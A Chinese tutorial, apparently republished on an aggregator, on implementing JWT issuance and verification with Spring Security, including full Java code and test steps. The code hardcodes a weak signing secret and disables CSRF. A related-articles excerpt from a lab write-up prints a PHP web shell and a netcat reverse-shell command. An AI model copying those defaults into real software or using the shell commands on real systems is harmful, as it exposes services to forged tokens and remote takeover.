Spring Security——结合JWT实现令牌的验证与授权

目录

JWT(JSON Web Token)

项目总结

新建一个SpringBoot项目

pom.xml

PayloadDto

JwtUtil工具类

MyAuthenticationSuccessHandler(验证成功处理器)

JwtAuthenticationFilter(自定义token过滤器)

WebSecurityConfig配置类

WebSecurityController控制器

 index.html

项目测试


  • 本文以Spring Security项目为基础,此处只给出有关JWT的核心代码,其他代码可查看文章:http://t.csdnimg.cn/hLyKB
  • 参考文章:JWT 基础概念详解 | JavaGuide

JWT(JSON Web Token)

  • 基于token的认证方式相较于Session认证方式的好处:
    • 可以节省服务器端的开销,因为每个认证用户占一个Session对象是需要消耗服务器内存资源的,而token是在每次请求时传递给服务器端的
    • 当服务器端做集群部署时,基于token的认证方式也更容易扩展
    • 无须考虑CSRF,由于不同依赖cookie,所以采用token认证方式不会发生CSRF
    • 更适合于移动端,当客户端是非浏览器平台时,cookie是不被支持的,此时采用token认证方式会更简单
  • JWT就是token的一种实现方式
  • JWT可以用于认证和信息交换,流程:
    • 在Web应用程序中,当用户成功登录后,服务器可以生成一个JWT并将其发送回客户端
    • 客户端存储该令牌,并在后续每次请求服务器接口时,都在请求报头中携带JWT
    • 服务器校验JWT签名,得到用户信息,如果验证通过,则根据授权规则返回前端请求的数据
  • JWT是一种用于在网络上安全传输信息的开放标准(RFC 7519),通过使用数字签名(或加密)来验证消息的发送者以及确保消息在传输过程中没有被篡改
  • JWT由三部分组成(用点号(.)分隔开)
    • Header(头部):是一个描述JWT元数据的JSON对象
      • 令牌的类型(JWT)
      • 正在使用的签名算法(如HMAC SHA256或者RSA)
    • Payload(载荷):是一个JSON对象,存放有效信息
      • 三种声明类型,关于用户和附加数据的陈述
      • 1、registered
        • iss(issuer):签发人
        • sub(subject):主题
        • aud(audience):受众
        • exp(expiration time):过期时间
        • nbf(not before):生效时间
        • iat(issued at):签发时间
        • jti(jwt id):JWT的唯一身份标识 
      • 2、public
      • 3、private
    • Signature(签名):对头部和载荷采用单向散列算法生成一个哈希码,以确保数据不会被篡改。签名用于验证消息在此过程中是否被更改,并且对于使用私钥签名的令牌还可以验证JWT的发送者是不是它所声称的
    • JWT=Header.Payload.Signature
  • 优点:
    • 简洁:由于其信息是以JSON对象的形式存储的,因此JWT是非常紧凑的
    • 自包含:JWT包含了所有必要的信息,因此不需要查询数据库来验证令牌
    • 可扩展性:由于其灵活的结构,JWT可以包含任意的额外信息
  • 缺点:
    • 信息是以Base64编码的形式存储的,所以不适合存储敏感信息,例如密码
    • 使用时要小心JWT被盗用或篡改
  • 应用场景:
    • 授权:一旦用户登录,每个后续请求就都将包含JWT,允许用户访问该令牌允许的路由、服务和资源。单点登录(Single Sign On)是目前被广泛使用JWT的一个功能,因为它开销小,并且能够轻松地跨不同的域
    • 信息交换:可以在各方之间安全传输信息。因为可以对JWT进行签名(例如使用公钥或私钥对),所以可以确定发送者是特定的人。此外,由于签名是使用标头和有效载荷计算的,因此还可以验证内容是否被篡改

项目总结

  • 工作流程:

  • 1、用户注册和登录:

    • 用户通过注册接口提交注册信息,系统保存用户信息到数据库。
    • 用户通过登录接口提交用户名和密码,系统验证用户信息,成功后生成并返回JWT令牌。
  • 2、请求保护资源:

    • 客户端在每次请求时将JWT令牌放在请求头中。
    • JwtAuthenticationFilter 拦截请求,从请求头中提取JWT令牌,并通过 getAuthentication(token) 方法验证和解析令牌。
    • 若验证成功,将 UsernamePasswordAuthenticationToken 设置到 SecurityContextHolder 中,使当前线程拥有安全上下文。
    • 后续处理链和控制器可以通过安全上下文获取用户信息进行权限验证。
  • 3、安全考量:

    • JWT加密:使用HMAC算法对JWT进行签名,确保令牌的完整性和真实性。
    • 过期时间:设置JWT的有效期,减小令牌被盗用的风险。
    • 角色和权限:通过角色和权限控制资源访问,确保不同用户只能访问其权限范围内的资源。

新建一个SpringBoot项目

 项目的结构

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.3.12.RELEASE</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.study</groupId><artifactId>jwt</artifactId><version>0.0.1-SNAPSHOT</version><name>jwt</name><description>Demo project for Spring Boot</description><properties><java.version>8</java.version></properties><dependencies><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-thymeleaf</artifactId></dependency><dependency><groupId>org.thymeleaf.extras</groupId><artifactId>thymeleaf-extras-springsecurity5</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>1.3.2</version></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency><dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId></dependency><!--hutool是一个Java工具类库--><dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.5.7</version></dependency><!--jwt相关依赖--><dependency><groupId>com.nimbusds</groupId><artifactId>nimbus-jose-jwt</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build></project>

PayloadDto

package com.study.jwt.dto;import lombok.Builder;
import lombok.Data;
import lombok.EqualsAndHashCode;import java.util.List;/*** 用于封装JWT中的有效载荷*/
@Data
//这个注解单独应用时会生成 equals 和 hashCode 方法,callSuper = false 表示生成的方法不会调用父类的 equals 和 hashCode 方法
@EqualsAndHashCode(callSuper = false)
//用于生成 Builder 模式相关的代码。它会生成一个静态内部类 ExampleBuilder,使得创建对象更加简洁和灵活
@Builder
public class PayloadDto {private String sub;//主题private Long iat;//签发时间private Long exp;//过期时间private String jti;//JWT的IDprivate String username;//用户名称private List<String> authorities;//用户拥有的权限
}

JwtUtil工具类

package com.study.jwt.util;import cn.hutool.json.JSONUtil;
import com.nimbusds.jose.*;
import com.nimbusds.jose.crypto.MACSigner;
import com.nimbusds.jose.crypto.MACVerifier;
import com.study.jwt.dto.PayloadDto;import java.text.ParseException;
import java.util.Date;/*** 工具类,用于提供生成和验证JWT的方法*/
public class JwtUtil {//默认密钥public static final String DEFAULT_SECRET="mySecret";/*** 使用HMAC SHA-256签名算法* @param payloadStr 有效载荷* @param secret 密钥* @return JWS串*/public static String generateTokenByHMAC(String payloadStr,String secret) throws JOSEException {//创建JWS头,设置签名算法和类型JWSHeader jwsHeader = new JWSHeader.Builder(JWSAlgorithm.HS256).type(JOSEObjectType.JWT).build();//将载荷信息封装到Payload中Payload payload = new Payload(payloadStr);//创建JWS对象JWSObject jwsObject = new JWSObject(jwsHeader, payload);//创建HMAC签名器JWSSigner jwsSigner = new MACSigner(secret);//签名jwsObject.sign(jwsSigner);return jwsObject.serialize();}/*** 验证签名,提取有效载荷,以PayloadDto对象形式返回* @param token JWS串* @param secret 密钥* @return PayloadDto对象*/public static PayloadDto verifyTokenByHMAC(String token,String secret) throws ParseException, JOSEException {//从token中解析JWS对象JWSObject jwsObject = JWSObject.parse(token);//创建HMAC验证器JWSVerifier jwsVerifier = new MACVerifier(secret);if (!jwsObject.verify(jwsVerifier)) {throw new JOSEException("token签名不合法!");}String payload = jwsObject.getPayload().toString();PayloadDto payloadDto = JSONUtil.toBean(payload, PayloadDto.class);if (payloadDto.getExp() < new Date().getTime()){throw new JOSEException("token已过期!");}return payloadDto;}
}

MyAuthenticationSuccessHandler(验证成功处理器)

package com.study.jwt.config.handler;import cn.hutool.core.date.DateTime;
import cn.hutool.core.date.DateUtil;
import cn.hutool.crypto.SecureUtil;
import cn.hutool.json.JSONUtil;
import com.nimbusds.jose.JOSEException;
import com.study.jwt.dto.PayloadDto;
import com.study.jwt.util.JwtUtil;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.GrantedAuthority;
import org.springframework.security.core.userdetails.UserDetails;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.stereotype.Component;import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.*;/*** 修改验证成功处理器,用户成功登录后,在响应报头中发送token*/
@Component
public class MyAuthenticationSuccessHandler implements AuthenticationSuccessHandler {@Overridepublic void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException, ServletException {// 获取认证主体信息Object principal = authentication.getPrincipal();// 用户登录成功后,在响应头中发送 tokenif(principal instanceof UserDetails){// 如果主体信息是用户详情实例UserDetails user=(UserDetails)principal;// 获取用户的权限信息Collection<? extends GrantedAuthority> authorities=authentication.getAuthorities();List<String> authoritiesList = new ArrayList<>(authorities.size());// 将用户权限列表转换为字符串列表authorities.forEach(authority -> {authoritiesList.add(authority.getAuthority());});// 定义 token 的创建时间和过期时间Date now = new Date();DateTime exp = DateUtil.offsetSecond(now, 60 * 60); // 1小时后过期// 创建 payload 数据传输对象PayloadDto payloadDto=PayloadDto.builder().sub(user.getUsername()).iat(now.getTime()).exp(exp.getTime()).jti(UUID.randomUUID().toString()).username(user.getUsername()).authorities(authoritiesList).build();String token=null;try {// 生成 JWT tokentoken= JwtUtil.generateTokenByHMAC(//nimbus-jose-jwt所使用的HMAC SHA256算法所需密钥长度为256位(32字节),因此先用md5加密JSONUtil.toJsonStr(payloadDto),SecureUtil.md5(JwtUtil.DEFAULT_SECRET));// 设置响应头和响应内容类型response.setHeader("Authorization",token);response.setContentType("application/json;charset=UTF-8");PrintWriter out = response.getWriter();out.write("登录成功!");out.close();} catch (JOSEException e) {e.printStackTrace();}}}
}

JwtAuthenticationFilter(自定义token过滤器)

package com.study.jwt.filter;import cn.hutool.crypto.SecureUtil;
import com.nimbusds.jose.JOSEException;
import com.study.jwt.dto.PayloadDto;
import com.study.jwt.util.JwtUtil;
import org.springframework.security.authentication.UsernamePasswordAuthenticationToken;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.stereotype.Component;
import org.springframework.web.filter.OncePerRequestFilter;import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.text.ParseException;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;/*** JwtAuthenticationFilter是一个过滤器,拦截用户请求,验证token* 继承OncePerRequestFilter,保证在任何servlet容器上每次请求调度都能执行一次。*/
@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {/*** 过滤器逻辑,提取和验证JWT,如果有效则设置认证信息。** @param request     HttpServletRequest对象* @param response    HttpServletResponse对象* @param filterChain FilterChain对象*/@Overrideprotected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {String token = request.getHeader("Authorization"); // 从请求头中获取JWTif (token == null) {// 如果请求头中没有token,则直接放行filterChain.doFilter(request, response);return;}// 如果请求头中有token,则进行解析,并且设置认证信息try {// 验证并解析token,并将认证信息设置到SecurityContext中//它将经过认证的用户信息设置到当前的安全上下文中 (SecurityContext),从而使得后续的安全决策可以基于该用户的信息进行SecurityContextHolder.getContext().setAuthentication(getAuthentication(token));filterChain.doFilter(request, response); // 继续执行过滤链} catch (ParseException | JOSEException e) {e.printStackTrace(); // 打印异常信息}}/*** 验证token,并解析token,返回以用户名和密码所表示的经过身份验证的主体的令牌。** @param token JWT字符串* @return UsernamePasswordAuthenticationToken对象* @throws ParseException JSON解析异常* @throws JOSEException  JWT处理异常*/private UsernamePasswordAuthenticationToken getAuthentication(String token) throws ParseException, JOSEException {// 使用HMAC算法验证并解析JWT,获取PayloadDto对象PayloadDto payloadDto = JwtUtil.verifyTokenByHMAC(token, SecureUtil.md5(JwtUtil.DEFAULT_SECRET));String username = payloadDto.getUsername(); // 从Payload中获取用户名List<String> roles = payloadDto.getAuthorities(); // 从Payload中获取角色列表Collection<SimpleGrantedAuthority> authorities = new ArrayList<>();// 将角色列表转换为Spring Security的SimpleGrantedAuthority集合roles.forEach(role -> authorities.add(new SimpleGrantedAuthority(role)));if (username != null) {return new UsernamePasswordAuthenticationToken(username, null, authorities);}return null; // 如果用户名为空,返回null}
}

WebSecurityConfig配置类

package com.study.jwt.config;import com.study.jwt.filter.JwtAuthenticationFilter;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.authentication.AuthenticationFailureHandler;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;@EnableWebSecurity // 启用Spring Security的Web安全支持
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {@Autowiredprivate AuthenticationSuccessHandler authenticationSuccessHandler; // 成功处理器注入@Autowiredprivate AuthenticationFailureHandler authenticationFailureHandler; // 失败处理器注入@Autowiredprivate JwtAuthenticationFilter jwtAuthenticationFilter;/*** 配置HTTP安全** @param http HttpSecurity对象* @throws Exception 异常处理*/@Overrideprotected void configure(HttpSecurity http) throws Exception {http.authorizeRequests().antMatchers("/", "/home", "/login").permitAll() // 允许所有人访问.antMatchers("/admin/**").hasRole("ADMIN") // 只有具有 "ADMIN" 角色的用户才能访问以 "/admin/" 开头的路径.anyRequest().hasRole("USER") // 其他请求必须有USER角色.and().formLogin().loginPage("/login") // 指定登录页面.successHandler(authenticationSuccessHandler) // 登录成功处理器.failureHandler(authenticationFailureHandler) // 登录失败处理器.and().logout() // 启用注销功能.and()// 添加自定义的 JWT 过滤器.addFilterBefore(jwtAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);http.csrf().disable(); // 禁用CSRF保护}/*** 配置密码编码器*/@Beanpublic PasswordEncoder passwordEncoder() {return new BCryptPasswordEncoder(); // 使用BCrypt加密密码}
}

WebSecurityController控制器

package com.study.jwt.controller;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;/*** 1.将configure(HttpSecurity http)方法中设置的不同的URL映射到不同的页面* 2.方法返回的是视图名称,需要视图解析器将视图名称解析成实际的HTML文件* 然后访问url就可以跳转到HTML页面了,否则返回的只是一个字符串* 3.在application.properties配置文件中配置视图解析器,springboot已经默认配置好了,你不用写了*/
@Controller
public class WebSecurityController {/*** 登录后跳转到home.html页面*/@GetMapping("/home")public String home(){return "home";}/*** 登录页面*/@GetMapping("/login")public String login(){return "login";//login.html}/*** 当访问/resource时,会重定向到/login,登录后才可以访问受保护的页面resource.html*/@GetMapping("/resource")public String resource(){return "resource";//resource.html}@GetMapping("/admin/index")public String index(){return "index";//index.html}
}

 index.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>index</title>
</head>
<body>
这是网站的首页!
</body>
</html>

项目测试

1、访问网址:http://localhost:8080/login

下面的Headers里的Authorization里的Value即为token,它被点号(.)分成三个部分,第一部分为Header,第二部分为Payload,第三部分为Signature

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsImF1dGhvcml0aWVzIjpbIlJPTEVfVVNFUiIsIlJPTEVfQURNSU4iXSwiZXhwIjoxNzE4NDM4NDY1NDM3LCJpYXQiOjE3MTg0MzQ4NjU0MzcsImp0aSI6ImQyNDFmMDlkLTgwNzYtNDZhZC1hYTg0LTc3MjQxNTIyZjUyZSIsInVzZXJuYW1lIjoiYWRtaW4ifQ.izNsanv4m-UJiIH23m8A2FvqWIvMfy0AEbleanxnMt8

2、访问网址:http://localhost:8080/resource

携带token进行后续访问:把登录时的token复制到Headers里的新增的Authorization里,访问受保护资源 

3、访问网址:http://localhost:8080/admin/index

该地址需要角色为“ADMIN”,所以需要使用第二个账号"admin"登录

如果不用特定账号登录,则返回403错误

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/27774.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Printing and Exporting

打印 大多数DevExpress。NET控件&#xff08;XtraGrid、XtraPivotGrid、XttraTreeList、XtraScheduler、XtraCharts&#xff09;提供打印和导出功能。 所有可打印的DevExpress.NET控件是使用XtraPrinting库提供的方法打印的。 若要确定预览和打印选项是否可用&#xff0c;请检…

适合加密货币交易者的免费指标

本文介绍了7种用于分析加密货币市场的免费技术指标&#xff0c;帮助交易者和投资者提升交易技巧和盈利能力。原文: Best 7 Free Trading Indicators for Every Cryptocurrency Trader Austin Distel Unsplash 大家好&#xff01;无论是加密货币市场的交易者还是投资者&#xff…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

算法day26

第一题 429. N 叉树的层序遍历 本题的要求我们可以通过队列来辅助完成层序遍历&#xff1b; 如下图的n叉树&#xff1a; 步骤一&#xff1a; 我们定义一个队列&#xff0c;先进行根节点入队列操作&#xff1b; 步骤二&#xff1a; 我们进行当前队列每一个元素的出队列操作&…

嵌入式学习——Linux高级编程复习(UDP编程)——day43

1. UDP编程——函数接口 1.1 socket 1. 定义 int socket(int domain, int type, int protocol); 2. 功能 创建一个用来进程通信的套接字,返回文件描述符 3. 参数 domain:AF_INET IPv4协议族 type:SOCK_STREAM 流式套接字 tcp传输协议…

2024新消费特点---探索消费升级与品牌力量

最近看到不少消费视频&#xff0c;想起之前听过江南春的一场分享&#xff0c;结尾总结了张思维导图&#xff0c;分享给大家&#xff01; 随着时代的变迁&#xff0c;消费者的需求和市场环境也在不断演进。今天&#xff0c;我们将深入探讨消费升级的深层含义以及品牌如何在竞争…

集成学习 Ensemble Learning

目录 一、集成学习概览1、介绍2、学习器3、boosting和bagging比较1、样本选择2、样例权重3、预测函数4、计算5、其他 4、结合策略 二、Adaboost1、介绍2、运行过程3、特点4、代码示例 三、随机森林1、介绍2、随机森林生成3、特点4、优缺点5、代码示例6、参数介绍 四、GBDT1、介…

新火种AI|苹果终于迈进了AI时代,是创新还是救赎?

作者&#xff1a;一号 编辑&#xff1a;美美 苹果的AI战略&#xff0c;能够成为它的救命稻草吗&#xff1f; 苹果&#xff0c;始终以其独特的创新能力引领着行业的发展方向。在刚结束不久的2024年的全球开发者大会&#xff08;WWDC&#xff09;上&#xff0c;苹果再次证明了…

深入浅出 Qt 中 QListView 的设计思想,并掌握大规模、高性能列表的实现方法

在大规模列表控件的显示需求中&#xff0c;必须解决2个问题才能获得较好的性能&#xff1a; 第一就是数据存在哪里&#xff0c; 避免出现数据的副本。第二就是如何展示Item&#xff0c;如何复用或避免创建大量的Item控件。 在QListView体系里&#xff0c;QAbstractListModel解…

面试-NLP八股文

机器学习 交叉熵损失&#xff1a; L − ( y l o g ( y ^ ) ( 1 − y ) l o g ( 1 − ( y ^ ) ) L-(ylog(\hat{y}) (1-y)log(1-(\hat{y})) L−(ylog(y^​)(1−y)log(1−(y^​))均方误差&#xff1a; L 1 n ∑ i 1 n ( y i − y ^ i ) 2 L \frac{1}{n}\sum\limits_{i1}^{n}…

大模型学习之GLM结构

探索GLM&#xff1a;一种新型的通用语言模型预训练方法 随着人工智能技术的不断进步&#xff0c;自然语言处理&#xff08;NLP&#xff09;领域也迎来了革命性的发展。OpenAI的ChatGPT及其后续产品在全球范围内引起了广泛关注&#xff0c;展示了大型语言模型&#xff08;LLM&a…

分离式网络变压器与传统网络变压器在电路设计中如何选择?

Hqst盈盛&#xff08;华强盛&#xff09;电子导读&#xff1a;今天分享的是&#xff1a;分离式网络变压器与传统网络变压器在电路设计中如何选择&#xff1f; 首先&#xff0c;我们要了解传统网络变压器和分离式网络变压器在设计上主要有以下不同点&#xff1a; 1、传统网络变…

​​Vitis HLS 学习笔记--添加 RTL 黑盒函数

目录 1. 简介 2. 用法详解 2.1 需要的文件 2.1.1 RTL 函数签名 2.1.2 黑盒 JSON 描述文件 2.1.3 RTL IP 文件 2.2 操作步骤 3. 总结 1. 简介 Vitis HLS 工具可以将现有的 Verilog RTL IP&#xff08;即硬件描述语言编写的模块&#xff09;集成到 C/C HLS 项目中。通过…

专家解读 | NIST网络安全框架(3):层级配置

NIST CSF在核心部分提供了六个类别的关键功能和子功能&#xff0c;并围绕CSF的使用提供了层级&#xff08;Tier&#xff09;和配置&#xff08;Profile&#xff09;两种工具&#xff0c;使不同组织和用户更方便有效地使用CSF&#xff0c;本文将深入探讨CSF层级和配置的主要内容…

【PL理论】(24) C- 语言:有块的作用域 | 更新的语法 | 新的语义域 | 环境 vs. 内存

&#x1f4ad; 写在前面&#xff1a;我们将再次扩展之前的C语言&#xff0c;让我们向这种语言引入“作用域”的概念。 目录 0x00 C- 语言&#xff1a;有块的作用域 0x01 C- 语言&#xff1a;更新的语法 0x02 新的语义域 0x03 环境 vs. 内存 0x00 C- 语言&#xff1a;有块的…

Golang | Leetcode Golang题解之第145题二叉树的后序遍历

题目&#xff1a; 题解&#xff1a; func reverse(a []int) {for i, n : 0, len(a); i < n/2; i {a[i], a[n-1-i] a[n-1-i], a[i]} }func postorderTraversal(root *TreeNode) (res []int) {addPath : func(node *TreeNode) {resSize : len(res)for ; node ! nil; node n…

大语言模型QA

Q:关于 Yi-9B 通过 input/output cosine 来分析模型,可能文档里没有把前提说明白。该指标确实存在你们提到的不同模型大小不可比的问题。所以我们比较的是同一个模型在不同训练阶段,以及 layer 深度相同的dense models 之间的比较。除了发现yi-6B/34B 随着训练 tokens 的增加…

Polkadot <> Kusama 桥:打造无信任互操作性的开创性范例

原文&#xff1a;https://www.parity.io/blog/trustless-interoperability 作者&#xff1a;Adrian Catangiu&#xff5c;Rust 区块链核心工程师&#xff0c;Parity Technologies 编译&#xff1a;OneBlock Polkadot <> Kusama 桥是无信任互操作性的开创性范例。本文深…

TCP相关细节

1. 常用TCP参数 1.1 ReceiveBufferSize ReceiveBuffersize指定了操作系统读缓冲区的大小&#xff0c; 默认值是8192(如图5-10 所示)。在第4章的例子中,会有"假设操作系统缓冲区的长度是8" 这样的描述,可通过socket.ReceiveBufferSize 8 实现。当接收端缓冲区满了的时…

实用软件下载:XMind 2024最新安装包及详细安装教程

​XMind不仅是一款易用且功能强大的思维导图软件&#xff0c;也是一个开源项目。XMind以构建一个社区向全球提供领先的跨平台思维导图和头脑风暴软件为目标&#xff0c;以帮助用户提升效率。XMind公司是XMind开源项目的主要代码贡献者&#xff0c;与此同时&#xff0c;我们欢迎…